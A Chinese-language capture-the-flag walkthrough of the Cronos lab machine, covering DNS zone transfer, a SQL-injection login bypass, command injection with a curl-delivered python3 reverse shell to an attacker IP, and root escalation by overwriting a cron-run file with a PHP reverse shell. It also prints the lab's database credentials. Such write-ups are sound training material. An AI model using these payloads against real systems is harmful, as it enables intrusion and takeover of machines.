file 这台靶机,主要考察了对DNS服务的枚举,表面上难度是Medium,实际我个人感受是Easy难度,与之前打的Trick的靶机恰好相反,废话不多说,开打,开打。

1.枚举靶机端口开放情况

这台机器共开放了三个端口:22、53和80。 file

2.枚举HTTP服务 - ip当问

柿子专挑软的捏,我们可以直接访问这台靶机的80端口:http://10.10.10.13/,得到的是一个Apache2的默认配置页面。 file

出于谨慎,防止老六,我还是做了一下目录爆破,果然… file 啥也没有!(这一波啊,我在第五层,而作者在第一层)

3.枚举DNS服务 - nslookup

已知:当前靶机开放了53端口,而通过ip访问HTTP服务,却啥信息也没得到。

猜测:当前靶机的Apache开启了虚拟主机的功能,需要进一步枚举其绑定的域名。

所以,我们使用nslookup工具,设置DNS服务器的地址为10.10.10.13,需要查询10.10.10.13绑定的域名,最终命令如下: file

我们就成功得到了ns1.cronos.htb的子域名,由此也能得到cronos.htb这个二级域名。

4.枚举DNS服务 - axfr

接下来,我们对cronos.htb做进一步枚举,看看还有没有存在其它子域名。

在这里我们可以使用dig工具来做区域传输(Zone Transfer)的查询:dig axfr @<server_ip> <domain> file

从中,我们又获得了一个admin.cronos.htb的子域名。

5.枚举HTTP服务 - cronos.htb

主页纯静态页面,没啥内容,没有攻击面。 file 目录爆破,也没爆破出啥内容,所以,只能PASS。 file

6.枚举HTTP服务 - admin.cronos.htb

这个子域名里,直接给一个登录界面。

file

说实话,我最讨厌看到这种带登录界面的情况,这种情况,要么很简单,随便一个弱密码就能过,要么就比较恶心,会浪费大量的时间在这上面。

还好,本靶机给一个万能密码就能过:

  • 用户名:admin' or 1 = 1 #
  • 密码:<任意字符>

登录成功后,映入眼帘的是一个管理页面: file

从UI中可以看到,我们可以执行ping或者traceroute命令。

接下来,打开浏览器的开发者工具,对其进行抓包,复制出CURL命令的payload: file

精简后,命令如下:

curl 'http://admin.cronos.htb/welcome.php' -H 'Cookie: PHPSESSID=9b49vuklfqicj3o2fujb39btj5' --data-raw 'command=traceroute&host=8.8.8.8'

7.对welcome.php进行利用

从上述精简后的命令,我们在对welcome.php进行POST请求时,它支持两个参数commandhost

如果服务端没有对command参数做过滤,那就有可能造成远程任意代码执行(RCE)的漏洞。

那,接下来,我们就尝试一下: file

从上图的结果来看,这台靶机果然存在RCE漏洞的,那接下来我们可以去Reverse Shell Generator网站,拿到一段python3的反弹shell的payload,最终完整的请求如下:

curl 'http://admin.cronos.htb/welcome.php' -H 'Cookie: PHPSESSID=9b49vuklfqicj3o2fujb39btj5' --data-raw 'command=python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.10\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")"'

打开新的Terminal,监听4444端口,当上述命令执行完毕后,成功拿到shell! file

8.横向移动

接下来,通过www-data用户,在网站目录里收集各种凭据(credential):

从配置文件中,拿到mysql数据库名和密码:

# /var/www/admin/config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

从数据库中,拿到admin / 4f5fffa7b2340178a716e3832451e058

从/etc/passwd中,获得noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash

但这些都没什么卵用,没办法帮我横向移动到noulis用户。

9.定时任务提权

正当我陷入困境时,突然一拍脑袋,这台靶机名字有点像cron,是不是存在一个定时任务,可以让我提权???

file

果不其然,/var/www/laravel/artisan这个文件会以root权限的方式被周期性调用。

既然如此,我就可以写一个php的反弹shell来替换artisan文件的内容:

echo '<?php $sock=fsockopen("10.10.16.10",4445);system("sh <&3 >&3 2>&3"); ?>' > /var/www/laravel/artisan

最后,稍等片刻,等待shell回弹… file

提权完成!